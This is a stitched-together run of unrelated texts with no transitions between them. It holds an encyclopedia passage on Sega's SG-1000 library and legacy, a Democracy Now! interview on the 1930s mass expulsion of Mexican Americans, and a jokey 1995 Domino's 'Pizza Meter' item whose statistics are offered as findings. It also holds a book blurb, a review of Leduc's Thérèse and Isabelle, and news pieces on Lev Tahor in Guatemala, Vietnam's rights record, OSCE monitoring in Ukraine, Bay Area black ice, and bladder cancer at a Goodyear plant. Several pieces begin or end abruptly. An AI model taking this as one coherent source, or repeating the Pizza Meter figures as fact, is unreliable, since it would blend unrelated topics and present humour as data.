Sega's software library for the SG-1000 and SC-3000 comprises 42 game cartridges and 29 Sega My Card releases that required the Card Catcher add-on. There were also 26 educational and programming cartridges for the SC-3000 that could only be played on the SG-1000 with the SK-1100 keyboard peripheral.[17] 8 game cartridges were also produced by third-party company Tsukuda Original, which were marketed primarily for their Othello Multivision clone console, but were fully compatible with the SC-3000 and SG-1000. Titles for the system include Flicky, Congo Bongo, Sega-Galaga, and Girl's Garden, the first video game programmed by Sonic the Hedgehog developer Yuji Naka. The library included licensed titles, such as Golgo 13. Packaging and game manuals came with both Japanese and English text until 1984, when manuals were switched to Japanese only and the size of the cartridge box was reduced.[5]
All SG-1000/SC-3000 software are fully compatible with the Mark III and Japanese Master System. In fact, many Sega My Card games were produced after the Mark III was launched in 1985 and these later releases advertised their compatibility with the Mark III as a selling point. Two SG-1000/SC-3000 cartridge games were also produced after the launch of the Mark III: The Castle in 1986 and Portrait of Loretta in 1987. These two games were sold in gold boxes similar to Mark III/Master System cartridges in Japan, with the latter even being released under the "Gold Cartridge" branding. The final SG-1000/SC-3000 game was The Black Onyx, released in My Card format in 1987.
Legacy [ edit ]
The SG-1000 made little impact on the video game industry, but has been recognized for being Sega's first video game console. Retro Gamer writer Damien McFerran said it was an "abject failure", but called it and the SG-1000 II "the Japanese forefathers of the Master System".[12] Writing for Wired, Chris Kohler criticized the poor response of the controller's joystick and the lack of an RCA output. He said the release timing hurt its success; "[al]though its graphics were of better quality than most consoles on the market, it had the bad luck to be released in the same month as Nintendo's world-changing Famicom, which had killer apps like Donkey Kong and could run circles around Sega's hardware."[5] Of its legacy, Kohler said, "Few have heard of it, even fewer have played it, and the games weren't that great anyway."[5] By contrast, Luke Plunkett of Kotaku recognized that "while all this makes it sound like the SG-1000 was a bit of a misfire, it was still important in the development of Sega's home console business."[8]
See also [ edit ]
Notes [ edit ]
^ Japanese: エスジー・セン , Hepburn: Esu Jī Sen ? ^ SG-1000 II ( エスジー・セン・ツー , Esu Jī Sen Tsū)
TRANSCRIPT
This is a rush transcript. Copy may not be in its final form.
AMY GOODMAN: “Deportee,” this version sung by Joan Baez. The song was written by Woody Guthrie about a crash that killed 32 people, most of them migrant farmworkers who were being deported from California to Mexico. This is Democracy Now!, democracynow.org, The War and Peace Report. I’m Amy Goodman, with Juan González.
JUAN GONZÁLEZ: President Donald Trump is slated to give his first presidential address to Congress today. Democratic lawmakers have begun giving their tickets away to immigrants as a protest against Trump’s push to increase deportations and to block residents from some Muslim-majority countries from entering the United States. Last week, White House Press Secretary Sean Spicer said Trump wants to, quote, “take the shackles off” of the nation’s immigration agents.
PRESS SECRETARY SEAN SPICER: The president wanted to take the shackles off individuals in these agencies and say, “You have a mission. There are laws that need to be followed. You should do your mission and follow the law.”
AMY GOODMAN: Last Thursday, President Trump called his deportation plans a military operation during a meeting with manufacturing CEOs.
PRESIDENT DONALD TRUMP: You see what’s happening at the border. All of a sudden, for the first time, we’re getting gang members out. We’re getting drug lords out. We’re getting really bad dudes out of this country and at a rate that nobody’s ever seen before. And they’re the bad ones. And it’s a military operation, because what has been allowed to come into our country, when you see gang violence that you’ve read about like never before and all of the things, much of that is people that are here illegally. And they’re rough, and they’re tough, but they’re not tough like our people. So we’re getting them out.
JUAN GONZÁLEZ: Well, this is not the first time people of Mexican descent have been demonized, accused of stealing jobs, and forced to leave the country. During the Great Depression of the 1930s, more than a million people residing in the United States were deported to Mexico. Some estimate as much as 60 percent of them were US citizens of Mexican descent.
AMY GOODMAN: In 2003, then-California state Senator Joe Dunn held hearings in Sacramento, where survivors gave testimony about what happened to them during the forced expulsions, which the government called repatriations. This is Senator Dunn stressing the importance of the hearing.
SEN. JOE DUNN: The idea from which this nation was born was the promise to all of liberty and justice. Today we examine a tragic part of American history where we betrayed the justice part of that promise, and a betrayal that affected a staggering number of individuals. By some estimates, almost 2 million individuals were deported from the United States in the 1930s. Some estimate that almost 60 percent of those that were deported were United States citizens. And they were deported for but one reason: They just happened to be of Mexican descent.
AMY GOODMAN: The state of California went on to issue a formal apology for its role in the expulsions and built a memorial in downtown Los Angeles to commemorate the victims. But many fear that history is now on the verge or repeating itself already.
For more, we’re going to Los Angeles, California, where we’re joined by the preeminent scholar on this often overlooked chapter of American history: Francisco Balderrama, professor of American history and Chicano studies at California State University, Los Angeles. He’s the co-author of the book Decade of Betrayal: Mexican Repatriation in the 1930s.
Professor Balderrama, thank you so much for joining us. I think, for many, especially young people, but I am sure many more, do not know this chapter of American history. Can you lay it out for us, what actually happened?
FRANCISCO BALDERRAMA: You’re right that it’s largely not known — and that’s in the larger American society, the Mexican nation, as well as in the Mexican community itself — that this occurred during the Great Depression, a period of vast unemployment and underemployment, that at least over a million — Joe Dunn thinks in terms of maybe almost 2 million — individuals, Mexican nationals and American citizens of Mexican descent, were swept up and expelled out of this country. And it covered the entire United States. From Alabama and Mississippi to Alaska, from Los Angeles to New York, this mass expulsion occurred, and of a population that included Mexican nationals, many of them that had lived in this country 20, 30 years, but increasingly important is the 60 percent or more of American citizens of Mexican descent. In other words, what occurred here was unconstitutional deportation.
JUAN GONZÁLEZ: Well, Professor Balderrama, I’m wondering if you could talk also about the role of the press at that time in stirring up anti-immigrant fervor, because this began during the Hoover administration and then moved on into the Roosevelt administration. What was the role of the press, as well?
FRANCISCO BALDERRAMA: Well, the role of the press is significant, but it is also reflecting the larger American society at this time, as well. The key notion that the press puts forward is that a Mexican is a Mexican. There is no distinction in terms of residents in this country — as I mentioned earlier, many of them had lived in this country 20, 25 years, most of them were documented, most of them had papers — and that their children that were born in this country were US citizens. No distinctions made. And that is accepted in this society and serves as a way of looking at the population, that even though they had contributed during better times to the economic prosperity of the United States, that now that’s not recognized. They are the other, so to speak.
AMY GOODMAN: I want to turn to Ignacio Piña, who lived in rural Idaho when sheriffs came to his house and took everybody in custody in the summer of 1931. His parents had lived in the United States for some 25 years. He was about to enter first grade. We’re taking this from a film called A Forgotten Injustice. A now-elderly Piña describes what happened that day.
IGNACIO PIÑA: [translated] My mother was cooking and hand-making flour tortillas. I remember we were eating them with melted butter. Then, all of a sudden, they arrived. They pointed their guns at us. One officer was standing outside. The other one was inside. And they said, “Come on, let’s go. Come on.” And my mother would ask, “Where?” “No questions. Come on. Out!”
They took us to the fields where my father was working. They grabbed him, too, and then they filled up the other car with Mexicans that were working there, as well.
In Pocatello, Idaho, they put us in jail. We were in jail for six or seven days. I was six years old. And as a kid, I could not understand why we were in jail if we were not criminals. My father was in one cell, and my mother was in another one with me, my three sisters and my two brothers. But I could not understand why.
Even when we were in the train on our way to El Paso, Texas, I wondered, “Where is this train going? What’s going to happen with us?” There were about five cars with lots of Mexicans, lots of families. We were so young, but I remember looking around at the people. They looked so sad, because many were suffering the same things we were facing. They were kicked out, too.
They did it so we couldn’t come back, even the ones that were born here, like us. They didn’t let us take anything with us, not even our birth certificates.
AMY GOODMAN: “Not even our birth certificates.” That was Ignacio Piña. Professor Balderrama, you knew Ignacio Piña. Can you tell us more about this story and how typical it was?
FRANCISCO BALDERRAMA: Well, Mr. Piña called me after we had the hearings in Sacramento. We conducted extensive interviews. And getting to meet his family, his son shared with me that he no longer has the nightmares, that this man was experiencing well into his eighties, because he was able to share his story with us. Mr. Piña, who’s recently deceased, became an activist in regards of the Apology Act and the erection of the memorial here in Los Angeles. And I think it shows that an individual that suffered with this throughout his life, that even had nightmares as a senior citizen about that, became an activist and shared that story multiple times, to the press, to the television, on and on, with a conviction that, as many of the other survivors, that this not happen to anybody else. When he said that, and the other survivors, not to happen to anybody else, he just doesn’t mean people of Mexican descent or Latino descent. Rather, what he’s saying is anybody else, and especially those that are American citizens. It shouldn’t happen. We should not have unconstitutional deportation.
JUAN GONZÁLEZ: And, Professor Balderrama, you’ve specialized in the mass deportations of the 1930s. But that was not the last of these deportations, right? In the 1950s, there was Operation Wetback under the Eisenhower administration. Then, of course, during the Bush years and into the Obama years, there were the mass deportations that occurred. It seems every time there is an economic crisis in the United States, the first reflex is to start mass deportations of “the other,” as this society begins to declare them.
FRANCISCO BALDERRAMA: Exactly, Juan. You’re right on target with that, that we do have these cycles. What behooves American society to understand is that this early period that I have studied, the early 20th century and the Great Depression, which is the most severe economic crisis of the 20th and the 21st century, is the fact that at that time developed this ideology, this set of beliefs, this way of thinking of the Mexican, Latino population, that somehow they are not part of our society, that they are — that many of them are criminals, many of them are here to be on welfare, that somehow, someway, they cannot become part of our society. And I think what is especially important to keep in mind for your listeners is that as we experience the nightmare of today, the crisis of today, which is different, that same ideology, that same way of thinking, is still in action today.
AMY GOODMAN: I wanted to go, Professor Balderrama, to your late co-author, Raymond Rodríguez. This is Rodríguez speaking at the 2003 Select Committee on Citizen Participation at the California state Senate.
RAYMOND RODRÍGUEZ: My dad left in 1936, when I was 10. I never saw my dad again. How is anybody going to compensate me for that loss?
AMY GOODMAN: That was Raymond Rodríguez, your co-author. Can you tell us about him and his family’s experience? And also, why just Mexicans? Was it only Mexicans?
FRANCISCO BALDERRAMA: Well —
AMY GOODMAN: Because 60 percent of them perhaps were American.
FRANCISCO BALDERRAMA: Raymond Rodríguez was my — was my — not only my colleague. Raymond Rodríguez was a very, very dear friend. We spoke with one voice when we wrote Decade of Betrayal. And in countless venues, we spoke with one voice in terms of this particular issue. I had known Ray for some 20 years at the time that we completed the first edition of Decade of Betrayal. And at that moment, I learned that his father had been a repatriot, at that moment when the book was finished and we were submitting it to the publisher. I knew that he had grown up with a single parent, with a mother only, but I didn’t know what had happened to his father. So, in a lot of ways, my co-author, my treasured friend, his work, together, his scholarship, as well as his activism, was trying to uncover that history, his own family history.
And we see that thread among others, as well, many other individuals who, in understanding this issue from reading Decade of Betrayal, from hearing your radio program, from looking at this and understanding this, have developed a larger understanding. What we have seen happen is that this private history has now become a public history. And many people, as they deal with this, trying to become a public history, that even though Ray, in — the excerpt that you just played was the very first time that publicly he announced that his father had been a repatriot, that what had happened had divided his family. His mother and his siblings stayed here in the United States, and his father returned to Mexico, and he never saw his father again.
JUAN GONZÁLEZ: And, Professor Balderrama, this whole issue of repatriation, the United States government labeled it “repatriation” because it claimed that the people were voluntarily agreeing to go back to their home country. But as you know, as you’ve reported, and as happens right here in the United States now, people are picked up, locked up and then told, “If you don’t want to stay locked up, then you agree to be — to self-deport, to, in essence, leave the country and go back to your home country.” So it’s really a choice of staying in jail or having a chance possibly to come back legally at some other time.
FRANCISCO BALDERRAMA: Juan, you’re right about that. But looking at it in the context of the 1930s is that “repatriation” was a cover-up word, because at that time, which marks the ’30s different than today, is that the big source of this expulsion is on the local level. It’s in the cities and counties that took upon themselves to say to their communities, “There is enough jobs for real Americans, if we can get rid of these other people.” So, LA County and other counties throughout the nation then pressured Mexican families to leave, even though Mexicans, from my research, never were a large percentage of those that were on welfare. But it played to the notion or the idea that Mexicans were on welfare. Here in LA County, they began to call their actions “deportation.” And the legal counsel says, “No, you can’t do that. Only the federal government can do that.” And that’s where the word “repatriation” is born, so to speak, to be used in that context to cover it up, to make it look clean, make it look like it’s voluntary. But at the same time, you have public raids. At the same time, you have the press talking about unwanted Mexican Americans. All of these actions are very coercive.
AMY GOODMAN: Finally, Professor Balderrama, your response to what’s happening today, and the parallels that you see and the ways you can see avoiding history repeating itself?
FRANCISCO BALDERRAMA: Well, obviously, this is a nightmare. Obviously, the legacy of this is in the Mexican community. Even before this happened, I know many senior citizens who would carry around their papers, their documentation, whatever they had, in fear that they might get caught up in a sweep. Now, obviously, those same feelings are being reported daily in the press about people staying home, people even fearful to go out and buy groceries. So that has returned.
But what I think marks the difference between the past and today is, the simple fact is that we have in the Mexican community different groups — the Mexican American Legal Defense Fund and Education Fund, MALDEF, other groups — and, more importantly, the different across ethnic, progressive groups together, whether they be Japanese-American, whether they be Jewish American, the various other groups who have come together and are very conscious of what is happening and are dedicated to those actions of activism to stop this, what’s occurring.
AMY GOODMAN: Francisco Balderrama, we want to thank you so much for being with us, professor of American history and Chicano studies at California State University, Los Angeles, co-author of Decade of Betrayal: Mexican Repatriation in the 1930s. We’ll link to that book, as well as yours, Juan, Harvest of Empire, the whole story that — in which you include this, as well.
To the 1995 Pizza Meter, of course.
Domino's Pizza has again published the results of its coveted Pizza Meter--a semi-serious annual report that details precisely what Americans are up to when they order pepperoni pies.
The newest trend? This year it's the nation's growing conservatism, based on the volume of people who answered the door naked when the pizza boy came calling.
"The number of nude door answerers dropped a little this year," said spokesman Tim McIntyre. "This could mean good marketing by the underwear companies, it could mean we're having colder winters--but most likely it means the nation is taking fewer risks. We're becoming more conservative."
Another sign of budding conservatism: The No. 2 fake name pizza orderers gave this year was Virginia Gingrich, the mother of House Speaker Newt Gingrich. (No. 1 was Al Cowlings.) She called Hillary Clinton something nasty during an interview with Connie Chung, and her name became one of the year's most popular pseudonyms.
McIntyre emphasized that the 9-year-old Pizza Meter is not facetious. It's based on interviews of 500 deliverers and store managers nationwide.
"It is very loosely scientific," McIntyre said.
Researchers at Domino's Ann Arbor, Mich., headquarters asked questions such as, "Did you deliver to anyone who answered the door in their underwear this year? Please identify the underwear." (That's how Domino's found out that the majority of underwear-clad orderers wear Calvin Klein briefs.)
Domino's came up with the idea during the Reagan administration.
"We were noticing a trend in Washington, that pizza orders to the White House, Pentagon and FBI would spike one or two days before elections and international political events," McIntyre said. "The gulf war was big."
Another dramatic spike came 15 minutes prior to the afternoon verdict reading in the O.J. Simpson trial. The surge ended abruptly at 1 p.m.--the precise moment at which a court clerk proclaimed innocence for the football hero accused of murder.
"We could barely believe it," McIntyre said, "but not a single pizza was ordered in the United States for five minutes between 1 o'clock and 1:05."
Other findings:
- People who answered the door while listening to rap music were 45 percent more likely to order a meat-topped pizza than non-rap listeners. Country music listeners tipped best.
- UN delegates from France tipped 42 percent below average. French delegates complained about orders five times more than other groups.
- Men who answered the door while watching "Baywatch" on TV were three times more likely to be bald than those tuning in to other shows.
- Whenever the pope traveled to a U.S. city, pizza deliveries to local bowling alleys increased 14 percent.
Drawing on extensive interviews, workshops, and media organizing projects, Costanza-Chock presents case studies of transmedia organizing in the immigrant rights movement over the last decade. Chapters focus on the historic mass protests against the anti-immigrant Sensenbrenner Bill; coverage of police brutality against peaceful activists; efforts to widen access to digital media tools and skills for low-wage immigrant workers; paths to participation in DREAM activism; and the implications of professionalism for transmedia organizing. These cases show us how savvy transmedia organizers work to strengthen movement identity, win political and economic victories, and transform public consciousness forever.
Publishing literature in translation is often about filling in gaps, about offering readers a richer historical tableau. This is certainly the case with the Feminist Press’s recent publication of Violette Leduc’s Thérèse and Isabelle, translated by Sophie Lewis in 2012 but written in 1955. Note that I say “written” and not “published”; this is because the 150-odd pages were originally meant to be the opening section of Leduc’s novel Ravages, but her publisher deemed the content (more on that shortly) too risqué and too explicit, even for relatively enlightened French readers. In fact, the pages weren’t even published in France for another eleven years. So the French, too, had to fill in a certain gap in their own literary history.
Here in the US, similar books by Colette, Simone de Beauvoir, Hélène Cixous, Monique Wittig, and Virginie Despentes have been available for years, many published in English not long after they appeared in French. Leduc’s most famous book, her literary memoir The Bastard (La Bâtarde), was published in English soon after it was nominated for the esteemed Prix Goncourt in France. For whatever reason, Thérèse and Isabelle, swirling with controversy and eroticism—two things that certain American publishers have always been attracted to—was ignored. Until now, when the Feminist Press saw the importance of the book and made sure English readers could appreciate it, too. As a bookseller, and especially as a bookseller with an interest in promoting books that expand people’s understanding of humanity in all of its multitudinous manifestations, I, for one, am grateful that this particular gap has been addressed.
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About the content—the plot itself is simple: two female boarding school students have a passionate love affair. This was not, even then, a particularly shocking subject on which to base a story. French literature is rife with lesbian love stories, including well-respected and widely read books by the likes of Honoré de Balzac and Guy de Maupassant. Those, of course, were written by men who’d already written thousands of pages of rather traditional fiction, and the lesbian incidents were not necessarily the focal points of the stories nor particularly explicit, two important facts that perhaps allowed their respective publishers to print the books without much fear of outcry or reprisal. The scenes of Thérèse and Isabelle are not viewed through the rose-tinted lens of someone like E. L. James. There are no cute euphemisms for body parts, no cutaways when the foreplay ends. It is, quite simply, an unfiltered exploration of the development of female desire and sexuality. They are young and subject to the universal follies of first love, but they are also beautifully, admirably unhinged in their passion, in their desire to please each other, in their desire to create a sort of haven from their oppressive surroundings.
Thérèse and Isabelle is not, however, merely erotic. Their relationship extends beyond their sexual experiences; their love is deeply felt and expressed. The narration is full of incredibly poignant and poetic reflections on the nature of attachment and obsession and an almost existential sense of self in relation to the world. And the greatest evidence of that might well be the last two lines in the book. I don’t want to give anything away, but I promise you’ll find it impossible not to react on a gut level.
Violette Leduc: A Complementary Reading List, by Sophie Lewis
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Violette Leduc
L’Asphyxie, 1946 · L’affamée, 1948 · Ravages, 1955 · La vieille fille et le mort, 1958 · (Trésors à prendre, suivi de Les Boutons dorés, 1960) · La Bâtarde, 1964 · La Femme au petit renard, 1965 · Thérèse et Isabelle, 1966/2000 · La Folie en tête, 1970 · Le Taxi, 1971 · La Chasse à l’amour, 1973
Simone de Beauvoir, mentor of Leduc and iconic feminist writer.
· The Second Sex (as required reading anyway), but particularly The Mandarins: a roman à clé, i.e. an insider’s guide to the intellectuals of her milieu.
Ann Quin, a feminist, ‘experimental’ author of 1960s Britain.
· Berg, a psychological thriller written as an internal monologue and Quin’s most critically acclaimed novel. The novel slipped out of print in the 1970s after Quin’s suicide and was reissued by Dalkey in 2001.
Katherine Mansfield
· The Garden Party and Other Stories, (1922) an impressionistic collection of short stories by modernist, lesbian writer Katherine Mansfield.
Marilyn Hacker, a highly acclaimed lesbian poet, critic and winner of a PEN/Voelcker Award for Poetry, a Guggenheim Fellowship, and Chancellor of the Academy of American Poets.
· The trilogy of poetry collections Presentation Piece, Separations and Taking Notice
· Assumptions
Djuna Barnes, a modernist poet, playwright, journalist and visual artist. Writer Bertha Harris described her work as “practically the only available expression of lesbian culture we have in the modern western world” since Sappho.
· The Book of Repulsive Women
· Ryder
· Ladies Almanack
· Nightwood
Jean Genet, a French writer, dramatist, and political activist. His art tackled LGBTQ themes and was controversial for its explicit portrayal of homosexuality and criminality.
· Our Lady of the Flowers
· The Miracle of the Rose
· The Thief’s Journal
· And the plays The Maids, The Balcony, Her
Marguerite Duras, a French novelist, playwright, and filmmaker whose work created stirs for its explicit depiction of sexuality.
· The Ravishing of Lol Stein
·Destroy, She Said
·The Man Sitting in the Corridor
Nathalie Sarraute, a French writer and lawyer whose experimental, psychological writing garnered her many honors.
· The plays Le Silence and Le Mensonge
· The autobiography Childhood
Lydie Salvayre, a feminist French writer who also practices psychiatry.
· The Power of Flies
· The Company of Ghosts
· La Méthode Mila
· Portrait de l’Ecrivain en Animal Domestique
Maurice Sachs, a gay French-Jewish writer.
· Witches’ Sabbath
Edmund White, a gay American novelist whose work draws on LGBTQ culture and history.
· The autobiographic trilogy A Boy’s Own Story, The Beautiful Room is Empty and The Farewell Symphony
· The non-fiction anthology The Burning Library
· His biographies of Jean Genet and others
Charles Baudelaire, a French poet, essayist, art critic, and translator of Edgar Allen Poe.
· The Painter of Modern Life
· Le Spleen de Paris (prose poems)
Leonora Carrington, British-born Mexican artist, surrealist painter, and novelist. A founding member of the Woman’s Liberation Movement in Mexico in the 1970s, her work examined female sexuality and the female role in the creative process.
· Down Below
· Self-Portrait (not a book but a painting)
Deborah Levy, a British playwright, novelist, and poet, whose work has been staged by the royal Shakespeare Company.
· Beautiful Mutants
· Black Vodka: Ten Stories
Some 230 members of an Orthodox Jewish group have begun leaving a village in western Guatemala after a bitter row with the local indigenous community.
The Lev Tahor members were asked to leave San Juan La Laguna after meetings with elders of the Mayan community.
The elders accused the Jews of shunning the villagers and imposing their religion and customs.
The Lev Tahor had settled in the village six years ago as the group searched for religious freedom.
'Self-defence'
Over the last several days they were seen packing their belongings on lorries in preparations for the departure from the village, about 150km (90 miles) west of the capital Guatemala City.
"We are a people of peace and in order to avoid an incident we've already begun to leave," Lev Tahor member Misael Santos told the AFP news agency.
"We have a right to be there, but they threatened us with lynching if we don't leave," he added.
Image copyright Reuters Image caption The Lev Tahor are now hoping to find a place to live somewhere else in Guatemala
Image copyright AFP Image caption The indigenous community says its rights must be respected
Lev Tahor members, who practice an austere form of Judaism, also complained that they received threats that water and electricity would be cut if they stayed on.
Meanwhile, the village elders said the Jewish members "wanted to impose their religion" and were undermining the Catholic faith that was predominant in San Juan La Laguna.
"We act in self-defence and to respect our rights as indigenous people. The (Guatemalan) constitution protects us because we need to conserve and preserve our culture," Miguel Vasquez, a spokesman for the elders council, said.
The Lev Tahor said it hoped to settle elsewhere in Guatemala.
“We had to frantically paint over the little bum. Update the logo everywhere we could think of and re-edit the trailer from the hotel in the middle of the night. The t-shirts we had printed for conventions are the only things remaining which still display the illicit cleft.”
Britain’s diplomat Ruth Tumer told the Geneva-based U.N. Human Rights Council that her country regretted “recent trends to control the Internet” and, with diplomats from France and Australia, called for reducing the number of crimes punishable by death and for a moratorium on executions.
“Vietnam still harasses and detains those who exercise universal rights and freedoms, such as freedoms of expression and association,” acting U.S. Ambassador Peter Mulrean said in a debate that was part of the 47-member forum’s scrutiny of the record of all U.N. member states every four years.
The United States was also concerned at restrictions placed on religious freedoms and on forming independent trade unions, the use of child labor and the government’s use of compulsory labor, he said.
Vietnam should “revise vague national security laws that are used to suppress universal rights and unconditionally release all political prisoners”, he said.
Benjamin Ismail of Reporters Without Borders said journalist Pham Chi Dung had been prevented from coming to the U.N. talks, stopped at Saigon airport on Saturday and his passport taken.
“There is a worsening trend, with much more violence and collateral reprisals when families or relatives of bloggers are also targeted in order to dissuade bloggers from discussing activities. Currently we count 34 jailed bloggers,” Ismail said.
But two prominent Vietnamese under house arrest gave testimony in audio messages recorded in secret and aired at an event sponsored by major rights groups in Geneva on Tuesday. Reuters could not verify their authenticity.
Thich Quang Do, patriarch of the banned Unified Buddhist Church of Vietnam, said that he remained under house arrest at Thanh Minh Zen Monastery in Saigon and wanted to speak out for all those whose dissenting opinions were being stifled.
“I have spent the past three decades under different forms of detention - 10 years in internal exile, 7 years in prison and the rest under house arrest without charge,” he said.
“What is my ‘crime’? That of calling on Vietnam to respect its people’s rights to freedom of expression, association, peaceful assembly, religion and belief,” he said.
“But I am not alone. In Vietnam today, hundreds of dissidents and human rights defenders are subjected to the torture of house arrest without any due process of law.”
Le Cong Cau, the head of a Buddhist youth movement with 300,000 members, said he had been stopped by police at the airport near Hue in central Vietnam on January 1.
“I am launching this message at the United Nations today as a cry of alarm,” he said. “This may be my last opportunity to speak out, as I am told that I may be arrested in the coming days.”
Some 160 people in Vietnam have been sentenced to a total 1,062 years in prison between May 2009 and June 2013 under “vaguely-worded national security provisions in the criminal code”, the Vietnam Committee on Human Rights said.
“In Vietnam today, planting a bomb or sending an e-mail abroad carries the same punishment,” Vo Van Ai, president of the Paris-based exile group, told reporters.
Kyiv, July 29, 2016. The OSCE Special Monitoring Mission (SMM) reported that the Donetsk region once again saw an increase in violence, with the number of ceasefire violations increasing by 25 percent in comparison to the previous week. This increase in violence was seen in all the usual hotspots, but most apparent in the western and northwestern outskirts of Horlivka and near the Avdiivka-Yasnuvata-Donetsk airport. “A further indication of deterioration was the increased use of artillery. Almost double that which we saw in the previous week; significantly, 90 percent of recorded artillery explosions occurred around Horlivka,” stated Alexander Hug, Chief Monitor of the OSCE Special Monitoring Mission in Ukraine, at a press briefing held at Ukraine Crisis Media Center.
The situation in the Luhansk region was better than in previous weeks. The SMM reported a 40 percent decrease in ceasefire violations, particularly around the Stanytsia Luhanska bridge. In contrast, the Western Luhansk region experienced heavy violence, with around 170 explosions heard from the Popasna-Kalynove-Pervomaisk region. However, violations and violence in connection with the Minsk Agreements severely limit the SMM’s freedom of movement explained Hug.
Chief Monitor Alexander Hugs, reported that on Monday, the SMM noted small-arms fire at a SMM unmanned aerial vehicle around Kalynove and later near Kadiivka, both of which are controlled by the self-proclaimed “Luhansk People’s Republic” (“LPR”). Later that night, an SMM long-range aerial vehicle crashed while flying over the government controlled Avdiivka for unknown reasons.
The rain that has wreaked havoc on the region this week is on track to end, but commuters in parts of the Bay Area are poised to be challenged by a new weather hazard — black ice, forecasters said.
Black ice could coat roadways in Santa Rosa, Mill Valley, San Rafael, Kentfield and in parts of the East Bay around Concord and Livermore on Friday morning as temperatures plunge, said Steve Anderson, a forecaster with the National Weather Service in Monterey.
A man sits bundled up as he gets a view of the San Francisco Oakland Bay Bridge on Thursday, Dec. 5, 2013. On Friday morning, temperatures are expected to plunge and black ice could form on some Bay Area roadways. less A man sits bundled up as he gets a view of the San Francisco Oakland Bay Bridge on Thursday, Dec. 5, 2013. On Friday morning, temperatures are expected to plunge and black ice could form on some Bay Area ... more Photo: Marcio Jose Sanchez, Associated Press Photo: Marcio Jose Sanchez, Associated Press Image 1 of / 88 Caption Close Black ice expected on Bay Area roads as temperatures dip 1 / 88 Back to Gallery
Temperatures are predicted to dip into the low to mid 30s in those areas anywhere between 3 and 7 a.m., while San Francisco is slated to get temperatures in the low 40s, he said.
The weather should warm up throughout Friday but the risk of black ice could return Saturday morning when temperatures are slated to dip again.
Retired Goodyear worker Harry Weist and his wife, Diane. Weist, 57, was diagnosed with bladder cancer in 2004. Matthew Leonard/WXXI
About this story This story was reported in collaboration with WXXI Public Broadcasting and the Innovation Trail in Rochester, N.Y. Listen to this story
NIAGARA FALLS, N.Y. — Ray Kline, it’s said, bled Goodyear blue.
Compact and laconic, Kline signed on as an operator at the Goodyear chemical plant here in 1960 and logged just short of 40 years. He routinely worked six days a week, 12 hours a day, retiring in 1999 as head of maintenance.
“I made a good living,” Kline said in the dining room of his comfortable home in Lewiston, N.Y., two blocks from the Niagara River — betraying little bitterness over the price his family paid for economic stability.
Kline, 75, has endured two bouts of bladder cancer. Strong evidence suggests the disease was work-related.
In a yet-to-be published study, federal health investigators have confirmed 50 cases of bladder cancer among plant employees through 2007, nearly three times the number that would have been expected in the general population of New York State. The unofficial tally to date, compiled by a lawyer for some of the cancer victims, is 58 cases.
The likely trigger in most instances, investigators concluded, was a chemical, still used by Goodyear and others, called ortho-toluidine.
The disease made its appearance in 1972 and continues to plague this decaying pocket of western New York. Workers at the 67-year-old plant, a collegial place that sustained generations, called it “the ginch.” Those who survived it fear its return. Those who avoided it wonder when their luck will run out. Many question why the chemical’s most prominent manufacturer, DuPont, took so long to issue warnings.
The long-running episode underscores the limits of regulation and points up the insidious nature of occupational illnesses, which by one estimate take more than 50,000 lives in America each year.
It’s a cautionary tale at a time when more than 80,000 chemicals, many carrying unknown or little-understood health effects, are on the market in the United States. Workers can become unwitting test subjects, made vulnerable by employers that fail to act on scientific knowledge or, in extreme cases, suppress the truth.
Three years before Kline landed at Goodyear, the plant began making Nailax, an antioxidant that keeps tires from cracking. Three U.S. companies supplied a key ingredient, ortho-toluidine, at various times from the 1950s into the 1990s; DuPont supplied Goodyear for the longest period, almost four decades.
By 1955, records show, DuPont knew the chemical caused bladder cancer in laboratory animals and protected its own workers from it. But it didn’t issue warnings to Goodyear and other customers until 1977, the year Kline’s son-in-law, Harry Weist, started at the Niagara Falls plant.
It would be another 13 years before Goodyear would take significant steps to reduce exposures to ortho-toluidine in the plant. By then, the outbreak of bladder cancer was under way.
Kline was case No. 21, diagnosed in 1997. Weist was No. 37, diagnosed in 2004.
“None of us are simple-minded,” said Weist, 57, who worked at the plant for 34 years. “If we knew this stuff was bad and we were getting exposed to it back in the day, we would have protected ourselves.”
In a statement to the Center for Public Integrity, Goodyear said it “takes the issue of ortho-toluidine exposure at the Niagara Falls plant very seriously. We are deeply concerned and continue to be committed to actions to address the issue.”
DuPont said it “conducts its business in accordance with the highest ethical standards and in compliance with all applicable laws to ensure the safety and health of our employees, our customers, and the people of the communities in which we operate. Our experience with ortho-toluidine was no exception.”
Its communications about the chemical were, DuPont said, “commensurate with the state of scientific knowledge” at the time.
Steve Wodka, a lawyer in Little Silver, N.J., maintains DuPont could have told Goodyear how to use ortho-toluidine safely by 1957, when Goodyear’s rubber chemicals division opened in Niagara Falls.
“There were so many warning signals,” said Wodka, who has sued DuPont and other ortho-toluidine suppliers on behalf of 24 bladder cancer victims from Goodyear and three from the now-shuttered Morton International chemical plant in Paterson, N.J. “If people had simply heeded them, there would have been a lot of lives saved.”
The disease cluster “wouldn’t have been detected by the medical community” had the Oil, Chemical and Atomic Workers union not pushed for a federal investigation at Goodyear, Wodka said. “It would have just blended into the background.”
Workers at the Goodyear plant came to fear “the ginch” — bladder cancer. Federal officials have confirmed 50 cases of the disease through 2007 — nearly three times the number expected for the general population of New York State. The unofficial tally to date is 58 cases. Matthew Leonard/WXXI
Goodyear ‘social club’
The Goodyear plant in Niagara Falls opened in 1946 as the city, blessed with cheap hydroelectric power from the Niagara River, was becoming a manufacturing behemoth. Factories lined Buffalo Avenue — B.F. Goodrich, Olin Mathieson, International Paper. By the 1950s, word was, you could quit a job in the morning and be working in a new place that afternoon.
Ray Kline came to Goodyear in January 1960, having migrated north from Pennsylvania a year or so earlier and knocked around places like Nabisco and Autolite Battery. Kline was hired as an operator in Department 145, where polyvinyl chloride (PVC) resin was made in reactors. He helped clean the reactors, chipping away at the hard, white plastic with a hammer and chisel. He also helped bag the PVC powder.
Nine years later Kline transferred to maintenance, which frequently took him into Department 245, the rubber chemicals division. Here ortho-toluidine, a yellowish liquid, was pumped into reactors from tanks outside and used to make Nailax, which came out looking like dark chocolate chips and was bagged for shipment to Goodyear tire plants.
“The 245 reactors — after all the mixture had taken place, you always had sludge and crap in the bottom,” Kline said. “You had to go in and clean it out.” The company’s method of determining overexposure was crude, he said: Workers were told to go outside when their fingernails and lips turned blue.
Harry Weist, Kline’s gregarious son-in-law, said Goodyear was like a “social club,” where fathers got jobs for sons, workers tormented one another with practical jokes, football pools were managed and hockey outings organized. At its peak the plant employed about 300 union workers, who earned solidly middle-class wages, sometimes better. People stayed.
The plant was also a breeding ground for disease.
